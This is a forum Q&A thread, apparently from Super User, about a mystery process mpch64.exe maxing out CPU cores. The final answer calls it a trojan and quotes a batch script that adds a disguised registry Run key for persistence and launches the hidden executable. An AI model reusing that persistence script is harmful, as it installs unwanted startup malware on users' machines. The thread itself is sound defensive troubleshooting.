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I was working and all of a sudden heard my computer fan spinning extremely fast as if I was playing a 3D intensive game. I checked my processes and quickly discovered the culprit - mpch64.exe. My CPU had all cores at 100% except 1.

I was not running MPC at all prior to this, there were no windows open, it was as if it was running in the background. I checked for hard disk activity but it was negligible as far as any activity associated with mpch64.exe. Finally I killed the process.

What happened?!

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marked as duplicate by Karan, Brad Patton, Breakthrough, Nifle, Ƭᴇcʜιᴇ007 May 25 '13 at 17:37

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

which version do you use? Run ProcessExplorer and look which process is the parent (this tool started the program). If they provide Debug fiels (PDBs) you can use xperf to see which functions causes it. – magicandre1981 May 15 '13 at 17:56
@magicandre1981 OK I will do that next time if it happens. Unfortunately I already killed it... – Isopycnal Oscillation May 15 '13 at 18:04

This is a virus/trojan. File aso.bat in same folder is related as well. @echo off %windir%\system32\reg.exe add HKCU\software\microsoft\windows\currentversion\run /v SpeedUpSystem /d "wscript \"%appdata%\Adobe\Flash Player\SpeedCache\afile.vbs\" \"%appdata%\Adobe\Flash Player\SpeedCache\aso.bat\"" /f start /b /normal "a" "%appdata%\Adobe\Flash Player\SpeedCache\mpchc64.exe"

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